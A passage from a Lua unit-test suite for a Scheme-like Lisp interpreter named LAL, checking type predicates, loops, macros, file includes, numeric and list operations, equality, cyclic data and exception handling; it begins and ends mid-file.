]]) assert_lal('#false', [[ (symbol? [1 2 3]) ]]) assert_lal('#false', [[ (symbol? { a: 1 b: 2 }) ]]) assert_lal('#false', [[ (symbol? []) ]]) assert_lal('#false', [[ (symbol? {}) ]]) assert_lal('#false', [[ (symbol? #true) ]]) assert_lal('#false', [[ (symbol? #false) ]]) assert_lal('#false', [[ (symbol? nil) ]]) assert_lal('#false', [[ (symbol? 1) ]]) assert_lal('#false', [[ (symbol? "abc") ]]) assert_lal('#false', [[ (keyword? 'x) ]]) assert_lal('#true', [[ (keyword? x:) ]]) assert_lal('#false', [[ (keyword? [1 2 3]) ]]) assert_lal('#false', [[ (keyword? { a: 1 b: 2 }) ]]) assert_lal('#false', [[ (keyword? {}) ]]) assert_lal('#false', [[ (keyword? []) ]]) assert_lal('#false', [[ (keyword? #true) ]]) assert_lal('#false', [[ (keyword? #false) ]]) assert_lal('#false', [[ (keyword? nil) ]]) assert_lal('#false', [[ (keyword? 1) ]]) assert_lal('#false', [[ (keyword? "abc") ]]) assert_lal('#false', [[ (list? 'x) ]]) assert_lal('#false', [[ (list? x:) ]]) assert_lal('#true', [[ (list? [1 2 3]) ]]) assert_lal('#false', [[ (list? { a: 1 b: 2 }) ]]) assert_lal('#true', [[ (list? []) ]]) assert_lal('#true', [[ (list? {}) ]]) assert_lal('#false', [[ (list? #true) ]]) assert_lal('#false', [[ (list? #false) ]]) assert_lal('#false', [[ (list? nil) ]]) assert_lal('#false', [[ (list? 1) ]]) assert_lal('#false', [[ (list? "abc") ]]) assert_lal('#false', [[ (map? 'x) ]]) assert_lal('#false', [[ (map? x:) ]]) assert_lal('#false', [[ (map? [1 2 3]) ]]) assert_lal('#true', [[ (map? { a: 1 b: 2 }) ]]) assert_lal('#false', [[ (map? []) ]]) assert_lal('#false', [[ (map? {}) ]]) assert_lal('#false', [[ (map? #true) ]]) assert_lal('#false', [[ (map? #false) ]]) assert_lal('#false', [[ (map? nil) ]]) assert_lal('#false', [[ (map? 1) ]]) assert_lal('#false', [[ (map? "abc") ]]) assert_lal('#true', [[ (string? 'x) ]]) assert_lal('#true', [[ (string? x:) ]]) assert_lal('#false', [[ (string? [1 2 3]) ]]) assert_lal('#false', [[ (string? { a: 1 b: 2 }) ]]) assert_lal('#false', [[ (string? []) ]]) assert_lal('#false', [[ (string? {}) ]]) assert_lal('#false', [[ (string? #true) ]]) assert_lal('#false', [[ (string? #false) ]]) assert_lal('#false', [[ (string? nil) ]]) assert_lal('#false', [[ (string? 1) ]]) assert_lal('#true', [[ (string? "abc") ]]) assert_lal('#false', [[ (number? 'x) ]]) assert_lal('#false', [[ (number? x:) ]]) assert_lal('#false', [[ (number? [1 2 3]) ]]) assert_lal('#false', [[ (number? { a: 1 b: 2 }) ]]) assert_lal('#false', [[ (number? []) ]]) assert_lal('#false', [[ (number? {}) ]]) assert_lal('#false', [[ (number? #true) ]]) assert_lal('#false', [[ (number? #false) ]]) assert_lal('#false', [[ (number? nil) ]]) assert_lal('#true', [[ (number? 1) ]]) assert_lal('#false', [[ (number? "abc") ]]) assert_lal('#false', [[ (boolean? 'x) ]]) assert_lal('#false', [[ (boolean? x:) ]]) assert_lal('#false', [[ (boolean? [1 2 3]) ]]) assert_lal('#false', [[ (boolean? { a: 1 b: 2 }) ]]) assert_lal('#false', [[ (boolean? []) ]]) assert_lal('#false', [[ (boolean? {}) ]]) assert_lal('#true', [[ (boolean? #true) ]]) assert_lal('#true', [[ (boolean? #false) ]]) assert_lal('#false', [[ (boolean? nil) ]]) assert_lal('#false', [[ (boolean? 1) ]]) assert_lal('#false', [[ (boolean? "abc") ]]) assert_lal('#false', [[ (nil? 'x) ]]) assert_lal('#false', [[ (nil? x:) ]]) assert_lal('#false', [[ (nil? [1 2 3]) ]]) assert_lal('#false', [[ (nil? { a: 1 b: 2 }) ]]) assert_lal('#false', [[ (nil? []) ]]) assert_lal('#false', [[ (nil? {}) ]]) assert_lal('#false', [[ (nil? #true) ]]) assert_lal('#false', [[ (nil? #false) ]]) assert_lal('#true', [[ (nil? nil) ]]) assert_lal('#false', [[ (nil? 1) ]]) assert_lal('#false', [[ (nil? "abc") ]]) end function oT:testDoLoop() assert_lal('(1 2 3 4 5 6)', [[ (do ((l (list)) (x 1 (+ x 1))) ((> x 6) l) (concat! l [x])) ]]) assert_lal('10', [[ (do ((l (list)) (y 1 (+ y (return 10))) (x 1 (+ x 1))) ((> x 6) l) (concat! l [x])) ]]) assert_lal('()', [[ (do ((l (list)) (y 1 (+ y (return 10))) (x 7 (+ x 1))) ((> x 6) l) (concat! l [x])) ]]) assert_lal('7', [[ (do ((l (list)) (y 1 (+ y (return 10))) (x (return 7) (+ x 1))) ((> x 6) l) (concat! l [x])) ]]) assert_lal('8', [[ (do ((l (list)) (y (return 8) (+ y (return 10))) (x (return 7) (+ x 1))) ((> x 6) l) (concat! l [x])) ]]) assert_lal('11', [[ (do ((x 1 (+ x 1))) (#t 11) (return 11)) ]]) assert_lal('12', [[ (do ((x 1 (+ x 1))) (#t 12) (return 11)) ]]) -- just for checking output manually for TCO: assert_lal('17', [[ (do ((f (lambda (k) (if (> k 1000) (return 17) (f (+ k 1))))) (x 1 (+ x 1))) (#t (f 0)) #true) ]]) assert_lal('100', [[ (let ((y (do ((x 1 (+ x 1))) (#t 100) #true))) y) ]]) assert_lal('101', [[ (let ((y (do ((x 1 (+ x 1))) (#t (return 101)) #true))) y) ]]) assert_lal('102', [[ (let ((y (do ((x 1 (+ x 1))) (#f (return 101)) (return 102)))) y) ]]) assert_lal('102', [[ (let ((y (do ((x 1 (+ x 1))) (#f 112) (return 102)))) y) ]]) end function oT:testCompToLua() local sChunk = lal_eval [[ (compile-to-lua '(let ((x 10)) (+ x 10))) ]] local x = load(sChunk) assert_eq(20, x()) assert_match([[.*return %(x %+ 10%);.*]], lal_eval [[ (compile-to-lua '(let ((x 10)) (+ x 10))) ]]) end function oT:testBlock() assert_lal('13', [[ (let ((l (block moep (do ((x 1)) ((>= x 16) x) (set! x (+ x 1)) (when (= x 13) (return-from moep x)) )))) l) ]]) assert_lal('16', [[ (let ((l (block moep (do ((x 1)) ((>= x 16) x) (set! x (+ x 1)) (when (= x 19) (return-from moep x)) )))) l) ]]) assert_lal('45', [[ (let ((l (block moep (let ((y 0)) (for (x 1 10) (set! y (+ y x)) (when (> y 40) (return-from moep y))))))) l) ]]) end function oT:testCompileErrors() assert_error('.*such.*symbol.*%(let', [[(let ((x 10)) y)]]) end function oT:testInclude() local f = io.open("lalTestIncl1.lal", "w") f:write([[ (begin (define G 102)) ]]) f:close() local f = io.open("lalTestIncl2.lal", "w") f:write([[ (begin (define G2 103) 109) ]]) f:close() local f = io.open("lalTest/lalTestIncl3.lal", "w") f:write([[ (begin (include lalTestIncl4) 108) ]]) f:close() local f = io.open("lalTest/lalTestIncl4.lal", "w") f:write([[(define G3 104)]]) f:close() assert_lal('102', [[ (include "lalTestIncl1.lal") ]]) assert_lal('109', [[ (include lalTestIncl2) ]]) assert_lal('207', [[ (begin (include "/lalTest/lalTestIncl3.lal" "lalTestIncl2.lal") (+ G2 G3))]]) assert_error('Expected.*1 arg', [[(include)]]) assert_error('not a string or symbol', [[(include (123))]]) end function oT:testComments() assert_lal('99', [[ ; fooo 99 ]]) assert_lal('99', [[; fofoewofwofwe (begin 99) ]]) assert_lal('99', [[; fofoewofwofwe (begin 99) ; fofoewofwofwe ]]) assert_lal('99', [[ (begin ; fooo 99) ]]) assert_lal('(foo 323 11)', [[ ['foo #;bar #;399 323 #;(* 2 2 3 4) 11] ]]) assert_lal('(1)', [[ [ #| foofeo |# 1 ] ]]) assert_lal('(list |# 144)', [[ '[ #| FEWO FWPO WOPF W FOIEWJFEIWOWE #' feowfeo feo e |# |# ; fooo 144] ]]) assert_lal('(list 144)', [[ '[ #| FEWO FWPO WOPF W FOIEWJFEIWOWE #| feowfeo feo e |# |# ; fooo 144] ]]) assert_lal('(12 224 32543 42)', [[ (list 12 224 32543 42 ; ) ]]) assert_lal('(12 224 32543 42)', [[ ;feo [ 12 224 32543 42 ; ] ]]) assert_lal('{"f" 234}', [[ { ;fewo f: ;feofwfwe ;fewgree 234 ;ogore } ]]) end function oT:testString() assert_eq('\xFF\xFE', lal_eval [[ "\xFF;\xFE;" ]]) assert_eq('\r\n\"\a\t\b', lal_eval [[ "\r\n\"\a\t\b" ]]) assert_eq('|\\\r\n\"\a\t\b', lal_eval [[ "\|\\\r\n\"\a\t\b" ]]) assert_eq(' fewfew f ewufi wfew ', lal_eval [[ " fewfew \ f ewufi wfew \ " ]]) assert_error('values bigger than 0xFF', [[ "\xFFFF;\xFE;" ]]) end function oT:testMultiLineString() assert_eq([[FOO BAR]], lal_eval [[ #<<EOS FOO BAR EOS]]) assert_eq([[# FOO42 BAR]], lal_eval [[ #<#EOS ## FOO#(+ 2 40) BAR EOS]]) end function oT:testMacro() assert_lal('(1 2 3)', [[ (begin (define-macro (testmak a) `[,a (+ 1 ,a) (+ 2 ,a)]) (testmak 1)) ]]) assert_lal('((list 1 (+ 1 1) (+ 2 1)) (1 2 3))', [[ (begin (define-macro (testmak a) `[,a (+ 1 ,a) (+ 2 ,a)]) [ (macroexpand (testmak 1)) (testmak 1) ]) ]]) assert_lal('((1 2 3) 2 3)', [[ (begin (define-macro (testmak a . x) `[ '(,a ,@x) ,(@0 x) ,(@1 x) ]) (testmak 1 2 3)) ]]) assert_lal('13', [[ (let ((j 10)) (define-macro (testmak a) `(+ j ,a)) (testmak 3)) ]]) assert_lal('50', [[ (let ((j 10)) (define-macro (testmak a) `(let ((j 20)) (+ j ,a))) (testmak (+ j 10))) ]]) assert_lal('30', [[ (let ((j 10)) (define-macro (testmak a) (let ((j (gensym))) `(let ((,j 20)) (+ j ,a)))) ; error here, not unquoted j (testmak (+ j 10))) ]]) assert_lal('40', [[ (let ((j 10)) (define-macro (testmak a) (let ((j (gensym))) `(let ((,j 20)) (+ ,j ,a)))) (testmak (+ j 10))) ]]) end function oT:testImport() local fh = io.open("test_output_macro_def.lal", "w") os.remove("test_output_macro_def_out.lua") fh:write([[{ macro-add: (define-macro (macro-add a b) `(+ ,a ,@b)) func-mul: (lambda (a b) (* a b 10)) }]]) fh:close() assert_lal('44', [[ (import (test_output_macro_def)) (test_output_macro_def-macro-add 12 32) ]]); assert_lal('3630', [[ (import (test_output_macro_def)) (test_output_macro_def-func-mul 11 33) ]]); end function oT:testAndOr() assert_lal('93', [[ (let ((x 10)) (or #f (begin (set! x 22) #f) (+ x 71) (set! x 32))) ]]) assert_lal('99', [[ (let ((x 10)) (or #f (begin (set! x 22) #f) (return 99) (+ x 71) (set! x 32))) ]]) assert_lal('10', [[ (let ((x 12) (f (lambda () 10))) (or #f (begin (set! x 22) #f) (f))) ]]) assert_lal('22', [[ (let ((x 12) (f (lambda () 10))) (or #f (begin (set! x 22) #f) (f)) 22) ]]) assert_lal('44', [[ (let ((x 44) (f (lambda () 30))) (and #f (begin (set! x 33) #f) (f)) x) ]]) assert_lal('33', [[ (let ((x 44) (f (lambda () x))) (and #t (begin (set! x 33) #f) (f)) x) ]]) assert_lal('32', [[ (let ((x 44) (f (lambda () x))) (and #t (begin (set! x 32) #t) (f))) ]]) assert_lal('#false', [[(and 1 3 #f 99)]]) assert_lal('99', [[(and 1 3 #t 99)]]) assert_lal('#true', [[(and 1 3 3432 #t)]]) assert_lal('1', [[(or #f 1 3 3432 #t)]]) assert_lal('#false', [[(or #f #f ((lambda () #f)) #f)]]) end function oT:testMagicSquares() assert_lal('(#false #true)', [[ (begin (define T2 [ 8 1 6 3 5 7 4 9 2 ]) (define T1 [ 3 5 7 8 1 6 4 9 2 ]) ; [8, 1, 6, 3, 5, 7, 4, 9, 2] => true ; [2, 7, 6, 9, 5, 1, 4, 3, 8] => true ; [3, 5, 7, 8, 1, 6, 4, 9, 2] => false ; [8, 1, 6, 7, 5, 3, 4, 9, 2] => false (define (cell table x y) (@(+ (* x 3) y) table)) (define (sum-direction table start dir) (let ((cx (@0 start)) (cy (@1 start)) (sum 0)) (for (i 0 2) (set! sum (+ sum (cell table cx cy))) (set! cx (+ cx (@0 dir))) (set! cy (+ cy (@1 dir)))) sum)) (define (all-eq-to list item) (do-each (l list) (when (not (eqv? l item)) (return #false))) #t) (define (test-all-dirs table) (let ((d1 (sum-direction table [0 0] [0 1])) (d2 (sum-direction table [1 0] [0 1])) (d3 (sum-direction table [2 0] [0 1])) (d4 (sum-direction table [0 0] [1 1])) (d5 (sum-direction table [0 2] [1 -1])) (d6 (sum-direction table [0 0] [1 0])) (d7 (sum-direction table [0 1] [1 0])) (d8 (sum-direction table [0 2] [1 0]))) (all-eq-to [d1 d2 d3 d4 d5 d6 d7 d8] 15))) [ (test-all-dirs T1) (test-all-dirs T2) ]) ]]) end function oT:testMacroManip() assert_lal('1', [[ (begin (define-macro (print-lua-code x) (compile-to-lua x) x) (print-lua-code (define (cell lst x y) (@(+ (* x 3) y) lst))) (cell [1 2 3] 0 0)) ]]) end function oT:testRuntimeError() assert_error('.*perform arithmetic', [[ (begin (define (y f) (+ f 10)) (define (x) (y) 100) (x) 102) ]]) end function oT:testOverFldAcc() assert_error('symbol argument.*list as sec', [[($^! _ _)]]) assert_error('basic form.*list as second', [[($^! 23 _)]]) assert_error('at least 2 arguments', [[($^! (x: m))]]) assert_lal('219', [[ (let ((m { x: 120 })) ($^! (x: m) (+ _ 99)) ($x: m)) ]]) assert_lal('217', [[ (let ((m { x: 120 })) ($^! ("x" m) (+ _ 97)) ($x: m)) ]]) assert_lal('218', [[ (let ((fld x:) (m { x: 120 })) ($^! (fld m) (+ _ 98)) ($x: m)) ]]) assert_lal('219', [[ (let ((m { x: 120 })) ($^! K (x: m) (+ K 99)) ($x: m)) ]]) assert_lal('217', [[ (let ((m { x: 120 })) ($^! K ("x" m) (+ K 97)) ($x: m)) ]]) assert_lal('218', [[ (let ((fld x:) (m { x: 120 })) ($^! K (fld m) (+ K 98)) ($x: m)) ]]) assert_lal('211', [[ (let ((fld x:) (m { x: 120 })) ($^! ((return 211) m) (+ _ 99)) ($x: m)) ]]) assert_lal('200', [[ (let ((fld x:) (m { x: 120 })) ($^! ((set! fld 200) m) (return fld) (+ _ 99)) ($x: m)) ]]) assert_error('symbol argument.*list as sec', [[(@^! _ _)]]) assert_error('basic form.*list as second', [[(@^! 23 _)]]) assert_error('at least 2 arguments', [[(@^! (x: m))]]) assert_lal('219', [[ (let ((m [ 22 120 ])) (@^! (1 m) (+ _ 99)) (@1 m)) ]]) assert_lal('218', [[ (let ((fld 1) (m [ 292 120 ])) (@^! (fld m) (+ _ 98)) (@1 m)) ]]) assert_lal('217', [[ (let ((m [ 120 ])) (@^! K (0 m) (+ K 97)) (@0 m)) ]]) assert_lal('218', [[ (let ((fld 1) (m [ x: 120 ])) (@^! K (fld m) (+ K 98)) (@1 m)) ]]) assert_lal('211', [[ (let ((fld 0) (m [ 120 ])) (@^! ((return 211) m) (+ _ 99)) (@0 m)) ]]) assert_lal('200', [[ (let ((fld 0) (m [ 120 ])) (@^! ((set! fld 200) m) (return fld) (+ _ 99)) (@0 m)) ]]) assert_lal('(1 4)', [[ (let ((ref @)) [ (ref 0 '(1 2 3 4 5)) (ref 3 '(1 2 3 4 5)) ]) ]]) assert_lal('(5 2 3 4 5)', [[ (let ((ref! @!) (l '(1 2 3 4 5))) (ref! 0 l 5) l) ]]) end function oT:testSymbol() assert_lal('"t"', [[(symbol->string 't)]]) assert_lal('t:', [[(symbol->string 't:)]]) assert_lal('t:', [[(symbol->string t:)]]) assert_lal('x:', [[(string->symbol "x:")]]) assert_lal('#true', [[(symbol=? 'a (begin 'a) (string->symbol "a"))]]) assert_lal('#false', [[(symbol=? a: (string->symbol "a:"))]]) end function oT:testNumeric() assert_lal('#false', [[(number? #true)]]) assert_lal('#true', [[(number? 1.2)]]) assert_lal('#true', [[(number? 1)]]) if (_VERSION == "Lua 5.3") then assert_lal('#true', [[(integer? 1)]]) end assert_lal('#false', [[(complex? 1)]]) assert_lal('#false', [[(rational? 1)]]) if (_VERSION == "Lua 5.3") then assert_lal('#true', [[(exact? 1)]]) assert_lal('#true', [[(exact-integer? 1)]]) assert_lal('#false', [[(exact-integer? 1.2)]]) assert_lal('#false', [[(exact? 1.1)]]) assert_lal('#false', [[(exact? 1.0)]]) assert_lal('#true', [[(inexact? 1.0)]]) assert_lal('#true', [[(inexact? 1.2)]]) assert_lal('#false', [[(inexact? 1)]]) end assert_lal('#true', [[(zero? 0)]]) assert_lal('#true', [[(zero? 0.0)]]) assert_lal('#false', [[(zero? 1)]]) assert_lal('#false', [[(zero? 0.1)]]) assert_lal('#true', [[(positive? 0.0)]]) assert_lal('#true', [[(positive? 0.1)]]) assert_lal('#true', [[(positive? 1)]]) assert_lal('#false', [[(positive? -0.1)]]) assert_lal('#false', [[(positive? -1)]]) assert_lal('#false', [[(negative? 0.0)]]) assert_lal('#false', [[(negative? 0.1)]]) assert_lal('#false', [[(negative? 1)]]) assert_lal('#true', [[(negative? -0.1)]]) assert_lal('#true', [[(negative? -1)]]) assert_lal('#true', [[(odd? 1)]]) assert_lal('#false', [[(odd? 2)]]) assert_lal('#false', [[(even? 1)]]) assert_lal('#true', [[(even? 2)]]) assert_lal('7', [[(abs -7)]]) assert_lal('7.4', [[(abs -7.4)]]) assert_lal('4', [[(max 3 4)]]) if (_VERSION == "Lua 5.3") then assert_lal('4.0', [[(max 3.9 4.0)]]) else assert_lal('4', [[(max 3.9 4.0)]]) end assert_lal('3.2', [[(min 3.2 4.2)]]) assert_lal('-3', [[(min -3 4.2)]]) assert_lal('2', [[(floor/ 5 2)]]) assert_lal('2', [[(floor-quotient 5 2)]]) assert_lal('1', [[(floor-remainder 5 2)]]) assert_lal('-3', [[(floor/ -5 2)]]) assert_lal('-3', [[(floor-quotient -5 2)]]) assert_lal('1', [[(floor-remainder -5 2)]]) assert_lal('-3', [[(floor/ 5 -2)]]) assert_lal('-3', [[(floor-quotient 5 -2)]]) assert_lal('-1', [[(floor-remainder 5 -2)]]) assert_lal('2', [[(floor/ -5 -2)]]) assert_lal('2', [[(floor-quotient -5 -2)]]) assert_lal('-1', [[(floor-remainder -5 -2)]]) assert_lal('2', [[(truncate/ 5 2)]]) assert_lal('2', [[(truncate-quotient 5 2)]]) assert_lal('1', [[(truncate-remainder 5 2)]]) assert_lal('-2', [[(truncate/ -5 2)]]) assert_lal('-2', [[(truncate-quotient -5 2)]]) assert_lal('-1', [[(truncate-remainder -5 2)]]) assert_lal('-2', [[(truncate/ 5 -2)]]) assert_lal('-2', [[(truncate-quotient 5 -2)]]) assert_lal('1', [[(truncate-remainder 5 -2)]]) assert_lal('2', [[(truncate/ -5 -2)]]) assert_lal('2', [[(truncate-quotient -5 -2)]]) assert_lal('-1', [[(truncate-remainder -5 -2)]]) assert_lal('#true', [[(= truncate-remainder remainder)]]) assert_lal('#true', [[(= truncate-quotient quotient)]]) assert_lal('#true', [[(= modulo floor-remainder)]]) assert_lal('4', [[(gcd 32 -36)]]) assert_lal('4', [[(gcd 32 36)]]) assert_lal('0', [[(gcd)]]) assert_lal('1', [[(lcm)]]) if (_VERSION == "Lua 5.3") then assert_lal('288.0', [[(lcm 32 -36)]]) -- difference to scheme, which returns exact num assert_lal('288.0', [[(lcm 32.0 -36)]]) else assert_lal('288', [[(lcm 32 -36)]]) -- difference to scheme, which returns exact num assert_lal('288', [[(lcm 32.0 -36)]]) end assert_lal('-5', [[(floor -4.3)]]) -- diff to scheme -5.0 assert_lal('-4', [[(truncate -4.3)]]) assert_lal('-4', [[(ceiling -4.3)]]) assert_lal('-4', [[(round -4.3)]]) assert_lal('3', [[(floor 3.5)]]) assert_lal('3', [[(truncate 3.5)]]) assert_lal('4', [[(ceiling 3.5)]]) assert_lal('4', [[(round 3.5)]]) assert_lal('#true', [[(and (< (exp 1) 2.72) (> (exp 1) 2.718))]]) if (_VERSION == "Lua 5.3") then assert_lal('1.0', [[(exp 0)]]) else assert_lal('1', [[(exp 0)]]) end assert_lal('"4.5"', [[(number->string 4.5)]]) assert_lal('"4"', [[(number->string 4)]]) assert_lal('"10"', [[(number->string 16 16)]]) assert_lal('"21"', [[(number->string 33 16)]]) assert_lal('33', [[(string->number "21" 16)]]) assert_lal('17', [[(string->number "21" 8)]]) assert_lal('100', [[(string->number "100")]]) assert_lal('256', [[(string->number "100" 16)]]) if (_VERSION == "Lua 5.3") then assert_lal('100.0', [[(string->number "1e2")]]) else assert_lal('100', [[(string->number "1e2")]]) end -- TODO: Rational/Complex parser syntax!? -- TODO: Complete Float parser syntax!? end function oT:testListOps() assert_lal('(1 2 3 x:)', [[(append '(1 2 3) x:)]]) assert_lal('(1 2 3 x:)', [[(append '(1 2 3) [x:])]]) assert_lal('(1 2 3 x:)', [[(append! '(1 2 3) x:)]]) assert_lal('(1 2 3 x:)', [[(let ((l '(1 2 3))) (append! l x:) l)]]) assert_lal('(1 2 3 x:)', [[(let ((l '(1 2 3))) (append! l '(x:)) l)]]) assert_lal('(1 2 3 (x:))', [[(let ((l '(1 2 3))) (append! l ['(x:)]) l)]]) assert_lal('(1 2 3)', [[(let ((l '(1 2 3))) (append l x:) l)]]) assert_lal('0', [[(length '())]]) assert_lal('0', [[(let ((l length)) (l '()))]]) assert_lal('0', [[(length [])]]) assert_lal('3', [[(length '(a b c))]]) assert_lal('3', [[(let ((l length)) (l '(a b c)))]]) assert_lal('3', [[(length '(a (b) (c d e)))]]) assert_lal('(e d c b a)', [[(reverse '(a b c d e))]]) assert_lal('(a b c d e)', [[(list-tail '(a b c d e) 0)]]) assert_lal('(d e)', [[(list-tail '(a b c d e) 3)]]) assert_lal('()', [[(list-tail '(a b c d e) 5)]]) assert_lal('c', [[(list-ref '(a b c d e) 2)]]) assert_lal('(a b 99 d e)', [[(let ((x '(a b c d e))) (list-set! x 2 99) x)]]) assert_lal('((e d) (a b c))', [[(let ((x '(a b c d e)) (y (pop! x 2))) [y x])]]) assert_lal('(e (a b c d))', [[(let ((x '(a b c d e)) (y (pop! x 1))) [y x])]]) assert_lal('(e (a b c d))', [[(let ((x '(a b c d e)) (y (pop! x))) [y x])]]) end function oT:testEquality() assert_lal('#true', [[(eqv? #t #t)]]) assert_lal('#true', [[(eqv? #f #f)]]) assert_lal('#true', [[(eqv? 't (string->symbol "t"))]]) assert_lal('#true', [[(eqv? t: (string->keyword "t"))]]) assert_lal('#true', [[(eqv? 2 (/ 4 2))]]) assert_lal('#true', [[(eqv? 2 (/ 4.0 2.0))]]) -- diff to scheme assert_lal('#true', [[(eqv? 2.0 (/ 4.0 2.0))]]) assert_lal('#false', [[(eqv? [] [])]]) -- diff to scheme assert_lal('#false', [[(eqv? {} {})]]) -- diff to scheme assert_lal('#true', [[(eqv? "foo" (symbol->string 'foo))]]) assert_lal('#true', [[(eqv? + (let ((y +)) y))]]) assert_lal('#true', [[(let ((m { x: 11 }) (l #f)) (set! l m) (eqv? m l))]]) assert_lal('#true', [[(let ((p (lambda (x) x))) (eqv? p p))]]) assert_lal('#false', [[(eqv? { x: 11 } { x: 10 })]]) assert_lal('#false', [[(eqv? 2 (/ 5 2))]]) assert_lal('#false', [[(eqv? t: (string->symbol "t"))]]) assert_lal('#false', [[(eqv? #f #t)]]) assert_lal('#false', [[(eqv? #f 0)]]) assert_lal('#false', [[(eqv? #f [])]]) assert_lal('#true', [[(eqv? 2.0 2)]]) -- another diff to scheme assert_lal('#true', [[(eq? #t #t)]]) assert_lal('#true', [[(eq? #f #f)]]) assert_lal('#true', [[(eq? 't (string->symbol "t"))]]) assert_lal('#true', [[(eq? t: (string->keyword "t"))]]) assert_lal('#true', [[(eq? t:: (string->keyword "t:"))]]) assert_lal('#true', [[(eq? 2 (/ 4 2))]]) assert_lal('#true', [[(eq? 2 (/ 4.0 2.0))]]) -- diff to scheme assert_lal('#true', [[(eq? 2.0 (/ 4.0 2.0))]]) assert_lal('#false', [[(eq? [] [])]]) -- diff to scheme assert_lal('#false', [[(eq? {} {})]]) -- diff to scheme assert_lal('#true', [[(eq? "foo" (symbol->string 'foo))]]) assert_lal('#true', [[(eq? + (let ((y +)) y))]]) assert_lal('#true', [[(let ((m { x: 11 }) (l #f)) (set! l m) (eq? m l))]]) assert_lal('#true', [[(let ((p (lambda (x) x))) (eq? p p))]]) assert_lal('#false', [[(eq? { x: 11 } { x: 10 })]]) assert_lal('#false', [[(eq? 2 (/ 5 2))]]) assert_lal('#false', [[(eq? t: (string->symbol "t"))]]) assert_lal('#false', [[(eq? #f #t)]]) assert_lal('#false', [[(eq? #f 0)]]) assert_lal('#false', [[(eq? #f [])]]) assert_lal('#true', [[(eq? 2.0 2)]]) -- another diff to scheme assert_lal('#true', [[(let ((x eqv?)) (x #t #t))]]) assert_lal('#false', [[(let ((x eqv?)) (x #t #f))]]) end function oT:testCyclicStructs() assert_lal('"#0=(1 2 3 4 #0#)"', [[ (write-str (read-str "#0=(1 2 3 4 #0#)")) ]]) assert_lal('"#0=(1 #1={x: (list #0# #1#)} 3 4 #0#)"', [[ (write-str (read-str "#2=(1 #4={ x: [#2# #4#] } 3 4 #2#)")) ]]) end function oT:testEqual() assert_lal('#true', [[(equal? 'a 'a)]]) assert_lal('#false', [[(equal? 'a 'b)]]) assert_lal('#false', [[(equal? '(a) '(a b))]]) assert_lal('#false', [[(equal? '(a) '(a b))]]) assert_lal('#false', [[(equal? '(a a) '(a b))]]) assert_lal('#true', [[(equal? '(a a) '(a a))]]) assert_lal('#true', [[(equal? ['a 'b [1 2 3 ] ] ['a 'b [1 2 3] ])]]) assert_lal('#true', [[(equal? "abc" "abc")]]) assert_lal('#true', [[(equal? 2 2)]]) assert_lal('#true', [[(equal? { a: 10 b: 20 } { b: 20 a: 10 })]]) assert_lal('#false', [[(equal? { a: 10 b: 20 } { b: 20 a: 11 })]]) assert_lal('#true', [[(equal? { a: [1 2 3] b: 20 } { b: 20 a: [1 2 3] })]]) assert_lal('#false', [[(equal? (read-str "#0=('a 'b #0#)") (read-str "#1=('a 'b #1#)"))]]) -- diff to scheme, but it terminates at least end function oT:testNilSentinel() assert_lal('nil', [[nil]]) assert_error('Expected not nil', [[(nil)]]) assert_error('Expected not nil', [[(nil nil)]]) assert_lal('()', [[ [nil] ]]) assert_lal('()', [[ [nil nil] ]]) assert_lal('(1 2)', [[ (let ((l [1 2 3])) (@!2 l nil) l) ]]) assert_lal('#true', [[(nil? nil)]]) assert_lal('#false', [[(list? nil)]]) assert_lal('#false', [[(map? nil)]]) assert_lal('#true', [[(nil? 'nil)]]) assert_lal('#false', [[(list? 'nil)]]) assert_lal('#false', [[(map? 'nil)]]) end function oT:testParser() assert_lal('(1 2 3)', [[ (let((x[1 2 3]))x) ]]) end function oT:testWriteReadCyclic() assert_lal('"#0=(1 2 #0#)"', [[ (let ((x [1 2])) (push! x x) (write-str x)) ]]) assert_lal('"#0=(1 #0# #1={\\"a\\" #1#})"', [[ (let ((x [1]) (m { })) ($!a: m m) (push! x x) (push! x m) (write-str x)) ]]) assert_lal('"(#0=(1 #0#) #0# #1={\\"a\\" #0#} #1#)"', [[ (let ((x [1]) (k {a: x}) (y [x x k k])) (push! x x) (write-str y)) ]]) assert_lal('"(#0=() #0# ())"', [[ (let ((x []) (k [x x [] ])) (write-str k)) ]]) end function oT:testDisplay() assert_lal('"(foo foo foo {a hallo da})10"', [[ (let ((o [])) (import lua-table) (display '("foo" foo foo: { a: "hallo da" }) o) (display ($a: { a: 10 }) o) (lua-table-concat o)) ]]) assert_lal('"(x foobar)"', [[ (let ((out (open-output-string))) (display '(x "foobar") out) (get-output-string out)) ;=> "xfoobar" ]]) assert_lal('"(x foobar)"', [[ (let ((out [])) (display '(x "foobar") out) (get-output-string out)) ;=> "xfoobar" ]]) end function oT:testStr() assert_lal('"foobar test123x"', [[(str "foobar" " " test: 1 2 3 'x)]]) assert_lal('"foobar, ,test,1,2,3,x"', [[(str-join "," "foobar" " " test: 1 2 3 'x)]]) assert_lal('"one word,another-word,and-a-symbol,(1 2 3)"', [[(str-join "," "one word" another-word: 'and-a-symbol '(1 2 3))]]) assert_lal('123,foobar', [[ (begin (import (lua table)) (lua-table-concat ['"\xFE;123" "foobar"] ",")) ]]) assert_lal('"foo1236"', [[ (let ((x (+ 1 2 3))) (str "foo" 123 x)) ;=> "foo1236" ]]) end function oT:testExceptions() assert_lal('"Exception: Something is weird!"', [[ (with-exception-handler (lambda (err) (str Exception: ": " err)) (lambda () (when (zero? 0) (raise "Something is weird!")))) ]]) assert_lal('"Exception: Something is weird!"', [[ (with-exception-handler (lambda (err) (str Exception: ": " (error-object-message err))) (lambda () (when (zero? 0) (error "Something is weird!" 192)))) ]]) assert_lal('#true', [[ (with-exception-handler (lambda (err) (error-object? err)) (lambda () (error 123))) ]]) assert_lal('(1 2 3)', [[ (with-exception-handler (lambda (err) (error-object-irritants err)) (lambda () (error 123 1 2 3))) ]]) assert_lal('"[string \\"*LAL*"', [[ (begin (import (lua basic)) (import (lua string)) (with-exception-handler (lambda (err) (lua-string-sub err 1 14)) (lambda () (lua-error "FOOBAR")))) ]]) -- TODO: add (guard ...) end function oT:testCurrentLine() assert_match([[<eval>:4]], lal_eval [[ (begin (import (lal syntax compiler)) 2130 (lal-syntax-compiler-current-source-pos)) ]]) end --function oT:testLetrecSDefine() -- assert_lal('19', [[ -- (define (x) y) -- (define y 19) -- x -- ]]) -- -- assert_lal('(24 23)', [[ -- (define (x) y) -- (begin -- (set! g 23) -- (define y 24)) -- (define g 22) -- [x g] -- ]]) --end -- TODO: (define-values ...) (let-values ...) and so on -- TODO: add (cond ...) function oT:testCond() assert_lal('none', [[ ((lambda () (cond ((> 3 3) 'greater) ((< 3 3) 'less) (else 